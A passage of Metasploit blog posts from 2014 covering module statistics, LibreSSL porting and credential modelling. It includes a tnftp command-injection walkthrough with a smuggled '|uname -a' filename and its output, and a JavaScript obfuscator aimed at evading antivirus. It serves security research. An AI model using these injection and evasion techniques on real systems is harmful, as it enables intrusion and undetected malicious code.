Skip navigation
All Places > Metasploit > Blog > 2014 > December

This post is the seventh in a series, 12 Days of HaXmas, where we take a look at some of more notable advancements and events in the Metasploit Framework over the course of 2014.

Since today happens to be the last day of the year, let's take a moment to reflect on another year of amazing Metasploit exploit development, and see what we've all been up to over the course of 2014. Of course, when I say "we," I really do mean all of us -- if you're reading this blog, more likely than not, you're part of the Metasploit open source community. Thanks so much for your continued commitment to the principles of openness and disclosure that makes Metasploit such a powerful force for Internet security today. It's a humbling and massively rewarding experience to be a part of this.banner-2014.png


Loads of new modules

Judging by last year's screenshot, Metasploit Framework picked up 135 new exploits, 99 new auxiliary modules, 25 new post modules, and 32 new payloads, for a total of 291 new modules landed to the framework. If you haven't used Metasploit in a while, you might want to check in on your favorite software packages over at the Rapid7 Vulnerability Database to see if you're running anything that's at risk.


Loads of commits in general

We also saw 7,627 commits across the entire code base for the year, which is a stupendous show of effort for the two hundred or so contributors that landed at least one commit that made it into the Metasploit Framework master branch. In fact, the top 25 committers of 2014, by non-merge commit count were:


Name/AliasCommit Count


Pedro Ribeiro42
David Bloom40


While it's fairly expected that the people who are paid by Rapid7 will tend to have quite a few commits, you'll notice that just about half of the top 25'ers here don't work at Rapid7 (Yes, OJ did work on Meterpreter full time for a little while in 2014, so let's count him for both.) Exceedingly few open source projects get the kind of support we enjoy, so please take a moment to thank (or blame) these people:


0a2940, agix, Ahmed Elhady Mohamed, Alton Johnson, Andrew Morris, AnwarMohamed, Arnaud SOULLIE, attackdebris, b00stfr3ak, bcoles, bcook-r7, bmerinofe, Borja Merino, brandonprry, Bruno Morisson, bturner-r7, bwall, byt3bl33d3r, cdoughty-r7, Cenk Kalpakoglu, Chris Hebert, Christopher Truncer, coma, cx, Daniel Miller, David Bloom, David Chan, David Maciejak, dheiland-r7, dmaloney-r7, DrDinosaur, dukeBarman, dummys, EgiX, Emilio Pinna, Ethan Robish, Etienne Stalmans, Fabian Br\xC3\xA4unlein, farias-r7, Fatih Ozavci, Fernando Munoz, FireFart, Florian Gaultier, floyd, Fr330wn4g3, g0tmi1k, Gabor Seljan, Gary Blosser, gigstorm, grimmlin, HackSys Team, hmoore-r7, ikkini, inkrypto, inokii, Iquaba, j0hnf, Jakob Lell, Jakub Nawalaniec, jakxx, Jay Smith, Jeff Jarmoc, jgor, jhart-r7, jiuweigui, jlee-r7, joe, joev-r7, John Sawyer, Jonas Vestberg, Jonathan Claudius, Jon Cave, JoseMi, Josh Abraham, Jovany Leandro G.C, Juan Escobar, julianvilas, Julian Vilas, Julio Auto, jvazquez-r7, kaospunk, Karmanovskii, Karn Ganeshen, kenkeiras, Ken Smith, kernelsmith, kicks4kittens, kn0, Kurt Grutzmacher, kyuzo, limhoff-r7, linuxchuck, lsanchez-r7, Lutz Wolf, m-1-k-3, Marc Wickenden, Mark Judice, Martin Vigo, Matias P. Brutti, Matt Andreko, Matteo Cantoni, Matthew Kienow, mbuck-r7, Meatballs1, Mekanismen, mercd, mfadzilr, midnitesnake, Miroslav Stampar, mschloesser-r7, mubix, mvdevnull, navs, Nicholas Nam, Niel Nielsen, Nikita, nnam, nodeofgithub, nstarke, nullbind, oj, parzamendi-r7, Pedro Laguna, Pedro Ribeiro, peregrino, Peregrino Gris, Peter Marszalik, Philip OKeefe, pyoor, RageLtMan, Ramon de C Valle, RangerCha, Rasta Mouse, ribeirux, Rich Lundeen, Rich Whitcroft, Rick Farina (Zero_Chaos), Roberto Soares Espreto, root, Royce Davis, rsmudge, Russell Sim, Sagi Shahar, Sam, Samuel, sappirate, Sascha Schirra, schierlm, scriptjunkie, Sean Verity, Sebastiano Di Paola, sgabe, shellster, sho-luv, shuckins-r7, silascutler, Silas Cutler, singe, spdfire, staaldraad, tate, TecR0c, Thanat0s, Thomas Ring, Tiago Sintra, Timothy Swartz, timwr, todb-r7, TomSellers, Tonimir Kisasondi, Trenton Ivey, trosen-r7, us3r777, Victor, Vincent Herbulot, wchen-r7, wez3, Wies\xC5\x82aw Kielas, wvu-r7, xard4s, xistence, Your Name, zeroSteiner, and Zinterax


Outstanding work, all!


Weekly Wrapup

Oh, and since this post doubles as the weekly wrap-up, here are the new modules landed to Framework since the last release (commit 067bda4). Metasploit community contributor Borja Merino is clearly up to no good with the combination of his freshly-landed Windows outbound firewall rules checking post module and his port-knocking enabling shellcode. Port knocking is one of those super fun things to do to be extra-stealthy with your listening shells so they don't get picked up by network scanners like Project Sonar. Thanks Borja!

Exploit modules

Auxiliary and post modules

This post is the sixth in a series, 12 Days of HaXmas, where we take a look at some of more notable advancements and events in the Metasploit Framework over the course of 2014.


It's been quite a year for shell bugs. Of course, we all know about Shellshock, the tragic bash bug that made the major media news. Most of us heard about the vulnerabilities in the command line tools wget, curl, and git (more on that last one later on during HaXmas). But did you notice the FTP command bug? That remains unpatched today on a fairly popular operating system? Read on...


popen()'ing an RCE present

Shortly before Halloween, I was reading the oss-sec mailing list when I stumbled upon a pretty cool (almost tragic) bug in the ftp(1) command on {Free,Net,DragonFly}BSD and OS X.


The bug is rather simple, as explained (somewhat verbosely) by the description in the Metasploit module:

This module exploits an arbitrary command execution vulnerability in tnftp's handling of the resolved output filename - called "savefile" in the source - from a requested resource.

If tnftp is executed without the -o command-line option, it will resolvethe output filename from the last component of the requested resource.

If the output filename begins with a "|" character, tnftp will pass thefetched resource's output to the command directly following the "|" character through the use of the popen() function.


Okay, so how do we use this thing?

We can use Metasploit! Using auxiliary/server/tnftp_savefile is pretty easy:


msf > use auxiliary/server/tnftp_savefile   
msf auxiliary(tnftp_savefile) > set uripath /  
uripath => /  
msf auxiliary(tnftp_savefile) > set urihost [redacted]  
urihost => [redacted]  
msf auxiliary(tnftp_savefile) > set uriport 80  
uriport => 80  
msf auxiliary(tnftp_savefile) > run  
[*] Auxiliary module execution completed  
msf auxiliary(tnftp_savefile) >   
[*] Using URL:  
[*]  Local IP:  
[*] Server started.  


Don't worry about the URIHOST or URIPORT advanced options unless you're working through a tunnel. Just set URIPATH to / to allow any URL to redirect to the exploit.


Triggering the vulnerability

Here we are triggering the vuln on a fully patched OS X Yosemite system:


wvu@hiigara:~$ ftp http://[redacted]/index.html  
Requesting http://[redacted]/index.html  
Redirected to http://[redacted]:80/%7c%75%6e%61%6d%65%20%2d%61  
Requesting http://[redacted]:80/%7c%75%6e%61%6d%65%20%2d%61  
     0        0.00 KiB/s Darwin hiigara 14.0.0 Darwin Kernel Version 14.0.0: Fri Sep 19 00:26:44 PDT 2014; root:xnu-2782.1.97~2/RELEASE_X86_64 x86_64  
     0        0.00 KiB/s   


Thanks to the redirect, we can hide the true purpose of our URL until it's too late.


Back in msfconsole, we can see the results of our attack:


[*]        tnftp_savefile - tnftp/20070806 connected
[*]        tnftp_savefile - Redirecting to exploit...
[+]        tnftp_savefile - Executing `uname -a'!


That's really all there is to it! Happy hacking!


This post is the fifth in a series, 12 Days of HaXmas, where we take a look at some of more notable advancements and events in the Metasploit Framework over the course of 2014.


Writing portable software is not hard. It's just like walking through a minefield! Getting to the other side, that's the tricky part.


Sure, if you target C, Unix-like systems and GCC or LLVM, you may not run into too many hassles these days. There are still a few annoying differences between BSDs and Linux, but POSIX and better compiler compatibility have been shrinking the gaps. Even the old Unix systems have learned to either adapt or die. Endian and byte-alignment considerations are becoming easier too, with newer ARM, MIPS and PowerPC CPUS are starting to copy the behavior of that the lovable little-endian, byte-access-agnostic x86. Though don't forget to test occasionally on a SPARC machine, just to keep you honest .


But even if you restrict your program to use only POSIX systems and library calls, and your code builds without warning and -Wpedantic on a half dozen compilers, beware the silent killer - error handling. Two system calls may act the same way when everything is ok, but do they both fail the same way?  You have to not only make sure that your API calls quack like a duck and walk like a duck, but also blend like a duck. Quiet compilers have a way of creating a false sense of security.


There are plenty of traps. Take asprintf() for instance. It attempts to make formatting string buffers safe and easy, but has 2 ways it can fail, either by returning an integer or setting a pointer. Either (or both) of which are these may be set by different implementations. Or, consider poll, which has a history of not handling errors correctly (Window's WSAPoll failure) or even the checks for broken poll implementations being broken (OS X's poll() on python).


I recently merged Windows support for LibreSSL, and making things work properly was just as much challenge as making them fail properly. There was an additional challenge as well! The LibreSSL team wanted to add no new #ifdefs to the upstream codebase, lest they make the code harder to audit and test. My eventual goal is to incorporate this work into Meterpreter, updating the aging, yet nicely Heartbleed-free, OpenSSL 0.9.8 that it currently uses.


Easy things first: Random Number Generation

Windows was ahead of its time in this area. When the OpenBSD team added the getentropy() syscall earlier this year in order to provide a failure-free method of seeding arc4random() (the random number generator for LibreSSL), it turned out that acquiring entropy on many popular

OSes was much harder than it needed to be. With Windows, it was extremely simple thanks to CryptGenRandom:


     if (CryptAcquireContext(&provider, NULL, NULL, PROV_RSA_FULL,
          goto fail;
     if (CryptGenRandom(provider, len, buf) == 0) {
          CryptReleaseContext(provider, 0);
          goto fail;
     CryptReleaseContext(provider, 0);


Some day, when arc4random becomes a POSIX standard and Windows is maybe the odd-OS-out, I'll have a different perspective, but for now, it was a pleasant surprise. But, shortly after, we run into the first porting challenge:

Problem 1: Sockets vs File Descriptors


With POSIX, file descriptors are a common interface for many things, and thus things like sockets, terminals, disks, and files can be manipulated with the same basic system calls like open(), read(), write(), and close(). Windows was designed in a parallel universe and chose the HANDLE as the common abstraction, and if you like handles can use something like OpenFile(), CloseHandle(), etc. There are some alter-ego functions like _open(), _read(), _write() exposed as well that operate on POSIX-like file descriptors, but their scope is far from universal.


Socket APIs in Windows add to the mix if incompatible APIs. While a POSIX programmer might not even blink to write a function that generically takes an 'int' and works on both sockets and files, Windows Sockets look like an 'int' to the compiler, but have their own subset of APIs that only work on sockets, e.g. recv/send/closesocket. Vice-versa, APIs that work on files in POSIX environments don't work on Windows sockets. Take the following contrived example:


void echo4(int accept_fd) {
     char buf[4];
     int sock = accept(accept_fd, NULL, NULL);
     if (sock >= 0 && read(sock, buf, sizeof(buf)) == 4)
         write(sock, buf, sizeof(buf));
         perror("accept or read");


This code compiles cleanly on Linux and Mingw-w64 , but it behaves completely differently. In a POSIX system, it will accept a connection on listening socket, read 4 bytes, echo them back and close the connection. On Windows, read() and write() fail and there is a resource leak. The main problem is that accept() on Windows does not return an int, it returns a SOCKET, which the compiler will happily cast to an int anyway, since that's what it is under the covers. But, since read, write and close do not work on SOCKETs, you never know about it (except for the program not working). Or worse, you used recv and send originally, but the close() call is now silently leaks SOCKET objects.


The usual answers to this problem are #ifdefs or using Cygwin, but those are either ugly, or prevent it using LibreSSL as a native Windows port. My solution was to use the C preprocessor to create alternate versions of IO functions that automatically do the right thing for sockets and file descriptors.


static inline ssize_t posix_read(int fd, void *buf, size_t count) {
       ssize_t rc = recv(fd, buf, count, 0);
       if (rc == SOCKET_ERROR) {
            int err = WSAGetLastError();
            return err == WSAENOTSOCK ?
                 _read(fd, buf, count) : wsa_errno(err);
       return rc;
#define read(fd, buf, count) posix_read(fd, buf, count)


This defines a shim 'posix_read' function that exploits a the failure behavior of socket functions. We can then play a guessing game! If the argument was actually a SOCKET (remember, the compiler won't tell you if you used the wrong function), we have guessed the correct call. If it isn't, the error code WSAENOTSOCK tells us to use the read function defined for file descriptors instead.


Problem 2: Error Handling

Have you ever had a program popup a dialog saying "Error: Success" ? POSIX functions set errno on failure, but Windows socket functions instead set an internal variable accessible via WSAGetLastError(). But, errno is still available, so in our example code, using our shim function for 'read' may still report 'Success' for errno, since that is what the 'perror' function looks for. To fix errno's behavior, we define a mapping function that converts WSA* errors into errno-style constants. No more 'ESUCCESS'! :

static int
wsa_errno(int err)
     switch (err) {
     case WSAENOBUFS:
          errno = ENOMEM;


But we're not out of the woods yet. Windows 'strerror' function does not understand how to format all of the error codes defined in errno.h. So, I overrode that as well:


static inline char  *
posix_strerror(int errnum) {
    if (errnum == ECONNREFUSED)
        return "Connection refused";
    return strerror(errnum);
#define strerror(errnum) posix_strerror(errnum)


An alternative could have been to remap back to the original WSA error code, and to use FormatMessage to get the localized message. But, these messages turned out to be far longer than the fixed-length error buffers that OpenSSL/LibreSSL allocate for error messages. Rather than have messages like 'The connection that you were about to use has...<click>', I opted for the I18N-insensitive hack.


Problem 3: select()


The Windows and POSIX APIs for signaling on events are both very capable, but unfortunately much different from each other. The Windows socket API throws portable software a bone by implementing select(), but this is far from POSIX compatible. The catacombs of stackexchange are littered with the bones of programmers surprised that Windows select doesn't work on files, pipes, the console or anything that is not a socket. Surprisingly, even high-level languages like Perl and Python do not bother to hide this difference.


Even if one sticks to sockets, select on Windows has some surprising properties to a POSIX programmer. It is possibly even a little more secure! Among the many design flaws of the select interface in general, it takes a 'fd_set' structure that indicate the sockets one is interested in waiting on. On POSIX systems, this is a actually a bitmap, one bit per descriptor. So, if your descriptor value is 1000, bit 1000 has to be set in the fd_set. This can lead to failures and buffer overflows if you have a file descriptor value larger than the fd_set structure itself, even if only a single descriptor is actually set.


On Windows, an fd_set is instead an array of SOCKETs. That means that the literal value of the SOCKET, when converted to an integer does not matter, though it is limited to about 32 entries before the fd_set is full. For small numbers of sockets, the Windows interface actually helps prevent the overflow! Of course, select is still bad for performance reasons, so we want to fix it.


For readability and security, first we converted all select(2) calls in LibreSSL into poll(2) calls. Poll is a little better than select on POSIX systems, and has the advantage of not having the fd_set overflow issue as well. Windows has a poll-like function as well, but it has the same limitations as select - it only works on sockets. To fix this, I implemented a poll implementation that uses the same mother-may-I SOCKET testing technique to determine if we should do select or WaitForMultipleObjects on passed in values. Here is the code that helps determine what's what:


static int
is_socket(int fd)
  return (WSAEnumNetworkEvents((SOCKET)fd, NULL, &events) == 0);


There are some extra heuristics to determine if a pipe or a console handle have been passed in. In the case of a Windows console, we do not want poll to tell the caller that stdin has data available, when instead it just signaled on a mouse or window event. Because stdin is always blocking, performing a read() without data will hang a program. Since we don't care about these extra events from a console program, poll() automatically discards the unneeded events from the queue:


           * Check if this file is stdin, and if so, if it is a console.
          if (h == GetStdHandle(STD_INPUT_HANDLE) &&
              PeekConsoleInput(h, &record, 1, &num_read) == 1) {

                * Handle the input console buffer differently,
                * since it can signal on other events like
                * window and mouse, but read can still block.
               if (record.EventType == KEY_EVENT &&
                   record.Event.KeyEvent.bKeyDown) {
                    rc |= POLLIN;
               } else {
                     * Flush non-character events from the
                     * console buffer.
                    ReadConsoleInput(h, &record, 1, &num_read);
          } else {
               rc |= POLLIN;


You can view the whole lovely thing here complete with comments and rationales. I'm surprised that a function like this is not more commonly available in other programs.


Problem 4: Header files


It should come as no surprise that the standard headers for Windows are also different from POSIX systems. On Windows, the standard headers seem to be optimized for precompiled header usage, and thus include the kitchen sink. In my original example, the header section looked like this:

#ifdef _WIN32
#include <ws2tcpip.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>


With the #ifdef abolition, and because I'd rather spend 10 minutes doing a 1 minute job automatically, I added aliases for all of the missing POSIX headers that do the correct thing. The magic headers for sys/ioctl.h looks like this:

#ifndef _WIN32
#include_next <sys/ioctl.h>
#include <win32netcompat.h>
#define ioctl(fd, type, arg) ioctlsocket(fd, type, arg)


The build system then puts these include files higher in priority in the compiler's include path. The magic #include_next directive tells the compiler to look for the next file in the search path, making this a no-op on a system with a system-wide <sys/ioctl.h>. After a few dozen of these, the porting job was complete. This saved rework on dozens more .c files that otherwise would have had ugly Windows-specific header definitions.


Conclusion: Monkey Patching beats a Million #ifdefs


To port LibreSSL to Windows, I essentially monkey patched Windows into both working, and failing, more like a POSIX operating system. This probably won't satisfy a POSIX conformance test, but it does automatically catch problems like close vs closesocket and maps errors consistently. The code does not need to deal with 2 different error systems, and any differences are fixed up one time in the compatibility layer. More importantly, it does this mostly through header and preprocessor magic, without adding a heavy-weight layer like Cygwin or needing to pepper the source code with #ifdefs.

Having recently found some error handling, #ifdef-related bugs in Meterpreter, it will be interesting to apply similar portability techniques there as well.

This post is the fourth in a series, 12 Days of HaXmas, where we take a look at some of more notable advancements and events in the Metasploit Framework over the course of 2014.

This summer, the Metasploit team began the large undertaking of reworking credentials throughout the project. Metasploit, as you already know, began as a collection of traditional exploits. Over the years it has grown into much more than that. Credentials were first introduced into Metasploit in the form of Auxiliary Scanner modules meant for bruteforcing. The data model that was created to support this was designed with only this use case in mind. The result was that our concept of creds was as follows:


  • A Username
  • A Password
  • The Service it was valid on


This was an unfortunately limited and limiting approach. As Metasploit continued to grow and develop, Credentials kept cropping back up. We found new ways to find, validate, and exploit credentials. As we continued to grow we found ourselves chaffing under those constraints. There were a number of issues with this concept of creds:


  • You couldn’t have a Credential without knowing exactly what service it was for
  • The same username and password on a different service was a different credential. This means you couldn’t see all the services a given credential pair was valid on, easily.
  • Several forms of authentication required additional components to be valid. For example an AD Domain Name, a PostgreSQL Database Name, or an Oracle SID.
  • There was no way to store incomplete credentials. You couldn’t get a list of valid usernames from AD, then use those to try and bruteforce their specific passwords.
  • There was no good way to store Password hashes that were not replayable like SMB NTLM Hashes were. This made it difficult to properly store those hashes for offline cracking
  • There was no normalization of credential data in the database, making it extremely inefficient to store and retrieve data about Credentials from the Database.


These were just some of the problems we encountered. We had to find dirty hacks to try and make things fit every time we wanted to do something new with Credentials. On top of that, the code responsible for dealing with creds, reporting them, bruteforcing for them, etc was showing its age. The code was diversified, with several different implementations in place, hacks in some places holding it all together. It was time for a change


A Fresh Approach

We began the work of redoing Credentials from the ground up. We had to redefine what a Credential meant. We identified three basic parts of a Credential


Public: A Public is the part of a Credential that is publicly known; typically a username. Currently in Metasploit, there are two type of Public, a Username and a BlankUsername. The Metasploit::Credential::Username class holds a known username (duh?). There should only ever be one instance of BlankUsername at a time. It represents a case where the username is not really needed for the credential, such as the case with VNC.


Private: A Private is the part of a Credential that is secret. We currently have several types of Privates in Metasploit:

  • Password – a plaintext password
  • BlankPassword – a single instance object used whenever we say that the password is Blank or doesn’t matter
  • SSHKey – an SSH private key
  • NTLMHash – an NTLM hash is special because it is a password hash that can be replayed against SMB as a valid authentication mechanism. This is the basis of the “Pass the Hash” attack
  • NonreplayableHash – This is all the other kinds of password hash. These are not usable for things like bruteforce or exploits like tomcat_mgr_deploy, but can be used by our offline cracking modules to try and derive plaintext passwords.


Realm: Realm is one of the trickier, and more confusing parts of our new credential concept. We mentioned earlier that some scenarios require some additional context for authentication. Let’s take the example of an AD Domain. If you have a user  Administrator and one contosso\Administrator, those are NOT the same account. The first one is probably a local admin on a box, while the second one may be the Domain Admin. Chances are, hopefully, that they also will not have the same password. It is therefore important to clearly distinguish that these are not, in fact, the same creds.


Credential Core: We tie all of these components together into what we call a Credential Core. A credential core associates the components together to form a single credential, as the same individual components could belong to many different credentials


With those core pieces in place, it is time to extend the capabilities of the raw data model, beyond just recording that a Credential exists. The next step can be thought of as the Look Ahead and Look Behind operations of a Credential. That is to say “where did this Credential come from?” and “Where does this Credential work?”


Origin: A Credential Core will always have an Origin. The Origin represents how we first learned about this specific credential core in this workspace. There are currently several types of credential Origins

  • Service: A Service Origin means that the Credential Core was obtained through remote interaction with a network service. This will usually be from either an Auxiliary Module or an authenticated exploit that succeeded. The Origin will contain the full name of the module that was used, as well as an association to the service it was run against to get that credential.
  • Session: A Session Origin means we got the credential from post-exploitation methods on an open Session. It will contain the full name of the post module that was run, as well as an association to the Mdm::Session record, for the session it was obtained from.
  • CrackedPassword: A CrackedPassword origin indicates that the Credential Core was obtained by using Offline Cracking against either an NTLMHash or a NonreplayableHash Credential. It will contain an association back to the original credential Core that it was cracked from. Because the Original Core will also have an Origin, this means we preserve an entire chain of origin on the Credential. For example, if you have an NTLMHash that was obtained from a Meterpreter Session then crack it. The Plaintext version of the Core will have a CrackedPassword Origin pointing back to the Hashed version of the Core. The hashed version of the Core will have a Session Origin that will tell you it came from the hashdump module run against a given session. The Session object will tell you the details of how that session was opened. The entire history of how you got from running a given exploit to obtaining that plaintext credential is now recorded.
  • Import: An Import Origin indicates that the Credential Core was imported from an external file. Metasploit supports importing data from a number of different sources, and also has the ability to export Credentials in it’s own format and reimport them.  The Import Origin also contains the name of the file that was imported.
  • Manual: A Manual Origin indicates that a user manually entered that Credential in. In Metasploit Pro, Express, and Community the Manual Origin will also contain an association to the User who entered it.


Login: A Login is the association between a Credential Core and a Service it is believed to be valid on.  A Login will also contain two other useful pieces of metadata. It will tell you the last time it was attempted, and it will contain a status. There are several different accepted statuses for Logins currently:

  • DENIED_ACCESS: This status is set on the Login when the credential was valid but had insufficient permission to login or perform the requested action
  • DISABLED: this status is set when the credential was valid but the account has been disabled.
  • INCORRECT: this status is set when the credential was not actually valid for the service.
  • LOCKED_OUT: this status will currently only ever be set on SMB Logins as it is the only service that will give us this level of detail. It is set when the account is locked out.
  • NO_AUTH_REQUIRED: This status will be set when the service does not actually appear to require auth. Indicates that the Login was a false positive due to the service accepting any authentication.
  • SUCCESSFUL: pretty self-explanatory
  • UNABLE_TO_CONNECT: This status is set when the last attempt to use the credential against this service returned some sort of a connection error.
  • UNTRIED: This status is set when we think the Credential is valid on the service, but haven’t actually attempted it yet. This will occur when we get credentials from something like post exploitation where we know where the cred is supposed to be valid on.


This may all seem very complicated, but it is extremely powerful. On a conceptual level, Credentials are a very difficult thing to capture accurately. This is especially true because of the conflicting authentication standards between widely differing services. This approach gives us the best flexibility to handle various different scenarios. It also allows us to do some pretty cool things with the data. Let’s take a look at a visual example for a second.





In this example we compromise a machine with the ms08_067 exploit, and get a Meterpreter Session. That Session has an Mdm::session record saved to the database. That Session record includes what exploit was used to open it, and the datastore options that were selected for that particular run. Once we have the session we run the Hashdump post module and get some NTLM Hashes. We get one for the local Administrator account. We create the Public with the Username ‘Administrator’, we create an NTLMHash private as well, and then create a Credential Core tying them together. When we create the Core, we also create a session Origin that says this core came from running ‘post/windows/gather/hashdump’ against Mdm::Session 1. Now we run ‘auxiliary/analyze/jtr_crack_fast’ which feeds those NTLM hashes into John the Ripper and successfully cracks the Administrator hash. We create a new Password object(‘Password1’) and create Credential Core 2 which has that Password and uses the same Public object as Credential Core 1. Core 2 has a CrackedPaassword Origin which points back at Core1. We then take Core 2 and use it against an SMB Service on a Second host and successfully login, so we create Login1 which connects that service to Core 2 with a Successful status and a last_attempted_at timestamp of the exact time we successfully logged in.


Wheew, that was a mouthful. Let’s see what that means looking at it in reverse now. You’re getting ready to write up some findings, and you take a look at your data. You see that you have a successful Login on host2. It was a Login on the SMB Service, and you know exactly when it was that you Logged in. You see that you Logged in using Administrator:Password1. How did you get that credential? Well you cracked it from this NTLM Hash. Where did you get the NTLM Hash?  You got it by running Hashdump on the Meterpreter Session on Host1. You know exactly when you did that to because the Origins have timestamps. How did you get that session? Well you got it by running ms08_067 against that host, at this specific time, with these specific settings. See how powerful that is? You can show an entire chain of events, and analyze exactly what they mean for the environment you’re testing.


LoginScanner: Bruteforcing Evolved

With our Credential modeling now completely redone, bruteforcing needed to level up as well. The old Auxiliary Scanner modules for creds had become a tangled mess. There were different approaches in each one, and we need a sane way of rationalizing exactly how we do bruteforce. Additionally we wanted clean, performant code that was covered by automated tests. This is the crucible in which we formed the LoginScanner classes. I won’t bore you with as exhaustive a detailing of the inner workings of the LoginScanner classes. The important parts are that all LoginScanners derive from a common base which defines the standard behavior for a LoginScanner. This include things like Bruteforce Speed, Timeouts, the way it takes credentials etc. Each module then  instantiates the correct  LoginScanner class, passes in the correct datastore options, and then calls the scan! Method, and passing it a block. The scanners all take a block for each login attempt result, so that any module that uses them can decide what those results mean. This makes the LoginScanners reusable and extremely flexible.


You might ask what this means for you as a user. It means predominantly two things: The reliability of the LoginScanner modules is greatly increased. Each one should behave in the same general way. If you know how to use one, you know how to use all of them. The second is that the LoginScanners are now significantly faster and more efficient. In fact, it actually caused me some problems while making sure they were Timeout safe. I wrapped some scanners in a 1 second timeout just to make sure they cleaned up properly. To my surprise the Postgres LoginScanner completed before the timeout triggered. It turned out that the Postgres LoginScanner was now capable of making approximately 12 login requests in a one second period. Your mileage will vary based on network conditions and the protocol you are using, but there is no doubt that these new LoginScanners are capable of some serious speed compared to their predecessors.


Looking toward the New Year

This work is far from finished. This undertaking is the single largest rework Metasploit has seen since the conversion from Perl to Ruby. We bit off quite a chunk of work, and we are far from finished. There are still modules out there that use the old credentials. This will be one of our main focuses in the near future. We will also be looking at leveling up msfconsole’s capabilities in terms of looking at the creds you have saved. Things like offline cracking will probably get additional attention in the future as well. The fact is that Credential based attacks are one of the most prevalent breach vectors. You can patch every system in your environment. You can hook up IPS and AV at every art of your network One weak credential can still bring your entire Organization to its knees. Buffer overflows come and go, bad passwords are forever. Merry Haxmas!

This post is the third in a series, 12 Days of HaXmas, where we take a look at some of more notable advancements and events in the Metasploit Framework over the course of 2014.


Several months ago, Wei sinn3r Chen and I landed some improvements to Metasploit's Javascript obfuscator, jsobfu. Most notably, we moved it out to its own repo and gem, wrapped it in tests, beefed up its AV resilience, and added a command line interface so that it can be used from the CLI outside of metasploit-framework.


Obfuscation over the years

jsobfu was written by James egypt Lee and was the first Javascript obfuscator in the framework that used a proper parser (tenderlove's rkelly gem) and AST transformations to obfuscate. It was written to replace the Rex::Exploitation::ObfuscateJS mixin, which was a simpler and less effective regex-based variable renamer (it is still in the Framework to support legacy modules, but jsobfu is the way to go nowadays). Also useful is the Rex::Exploitation::EncryptJS mixin from L4teral, which encodes the malicious Javascript with a random XOR key and wraps it in an eval wrapper. This can be handy when dealing with static/signatured browser AV engines.


Module Usage

If you are writing a browser exploit or Javascript post-exploitation module, we have added a convenient mixin for allowing dead-simple obfuscation that can be controlled by the end-user with a datastore option. Your code will look something like:

include Msf::Exploit::JSObfu

def generate_html

Note that the Msf::Exploit::JSObfu mixin is automatically pulled in when you use the BrowserExploitServer.

When the js_obfuscate method is used, the user has control over the level of obfuscation iterations through an advanced datastore option called JsObfuscate:

Name           : JsObfuscate
Current Setting: 0
Description    : Number of times to obfuscate JavaScript

The Gem

The new jsobfu Ruby gem Ruby gem can be installed in a snap:

$ gem install jsobfu

This installs the jsobfu library and adds a global jsobfu shell command that will read Javascript code from stdin and obfuscate it:

$ echo "console.log('Hello World')" | jsobfu

window[(function () { var E="ole",d="ons",f="c"; return f+d+E })()][(String.fromChar

There is also an optional iterations parameter that allows you to obfuscate a specified number of times:

$ echo "console.log('Hello World')" | jsobfu 3

window[(function(){var T=String[(String.fromCharCode(102,114,0x6f,109,0x43,104,97,0x
15),(1*('Q'.length*(1*0x40+14)+19)+4)),Z=(function(){var c=String.fromCharCode(0x6e,
0163),I=String.fromCharCode(99,0x6f);return I+c;})();return Z+T;})()][(String[(Strin
g[((function () { var r="de",t="mCharCo",M="f",_="ro"; return M+_+t+r })())]((0x6*0x
Code(0x67,85,0155,0156,75,84,0114,0x4c)[((function () { var f="ngth",F="e",x="l"; re
turn x+F+f })())]*((function () { var n='m',a='Q'; return a+n })()[(String.fromCharC
ode(0154,101,110,0x67,0x74,104))]*(function () { var w='d',A='tMf'; return A+w })()[
((function () { var yG="ngth",q5="e",J="l"; return J+q5+yG })())]+'SX'.length)+'crFi
Kaq'.length)+(1*026+2)),('p'.length*(06*15+10)+'nnU'.length)))]((function(){var En=S
(3*041+9),('eHUOhZL'.length*(0x1*(01*9+1)+3)+9)),Y=(function(){var z=(function () {
var Sf='r'; return Sf })(),Z=(function () { var N='o'; return N })(),C=String.fromCh
arCode(0x57);return C+Z+z;})(),k=String[((function () { var b="e",s="od",p="fromCha"
,H="rC"; return p+H+s+b })())](('C'.length*('H'.length*('Ia'.length*0xf+3)+12)+27),(
(1*('B'.length*(0x1*29+20)+24)+38),(0x2*020+0));return k+Y+En;})());

The Implementation

The original approach of jsobfu is simple: obfuscate String, object, and number literals by transforming them into random chunks of executable statements. For example, the statement:


Might be transformed a number of different ways (variables are renamed during transformation):



(function () { var t="C",_="B",h="A"; return h+_+t })(); 

Or even:

(function(){var k=String.fromCharCode(0103),d=String.fromCharCode(0x42),
  v=(function () { var I="A"; return I })();return v+d+k;})(); 

In order to make this useful in evading AV, we wanted to be sure that every signaturable string in the original code was (possibly) randomized. Because Javascript allows property lookups from a string, it is possible to rewrite all property lookups into small, randomly chosen chunks of code. This makes de-obfuscation rather tedious for a human, since a lot of code is executing and there is no straightforward place to put a hook (as opposed to an eval-based approach).

So if you obfuscate code that performs a lookup:

// input:
var obj = {};
var x = obj.y; 

The lookup will be obfuscated with a randomly chosen String literal transformation:

// obfuscated output:
var K = {};
var X = K[(String.fromCharCode(0x79))]; 

Global lookups must also be dealt with:

// input:
var x = GlobalObject.y;

Global lookups are resolved against the window global, so they too can be obfuscated:

// obfuscated output:
var G = window[String.fromCharCode(0x47,0x6c,0x6f,0142,97,0x6c,79,98,0x6a,
101,99,0x74)][((function () { var i="y"; return i })())]; 


This post is the second in a series, 12 Days of HaXmas, where we take a look at some of more notable advancements and events in the Metasploit Framework over the course of 2014.

For today's HaXmas amusement, I have something fun to share with you all. So the other day I was watching this movie called The Knowing, an action-thriller starring Nicolas Cage. The story of this movie begins with a school teacher telling the students that as part of the school's opening day celebration, they should make drawings showing the future as each of them sees it, and placing them in a time capsule. 50 years later, the time capsule is finally opened. But in it, there's an unusual letter full of numbers, which is eventually solved by the one and only Nicolas Cage. The numbers actually link to chilling predictions that either have already occurred or about to, such as earthquakes, fires, tsunamis, etc. And then... well, you should just watch the rest :-)


While I was watching this movie, I was like "oh crap, almost forgot about this, but I got a time capsule too in one of my exploits!" My time capsule hasn't been buried for 50 years, but when I created this I was actually hoping someone would discover it, and then maybe have a laugh. But as far as I can tell, nobody did. So, today is the day I reveal that secret.


I created this time capsule in 2011 for my CVE-2010-3275 exploit, also known as "VLC AMV Dangling Pointer Vulnerability". I remember that while writing this exploit, I couldn't really find an AMV file, so I decided to grab my camera, recorded a short video, and then used a converter to convert the video format to AMV. The video has a message, but is kind of corrupt so you can't actually see it. You can hear something at least, which is meant to be a hint that there's something in the video. You will have to modify back, and I'm going to tell you how.


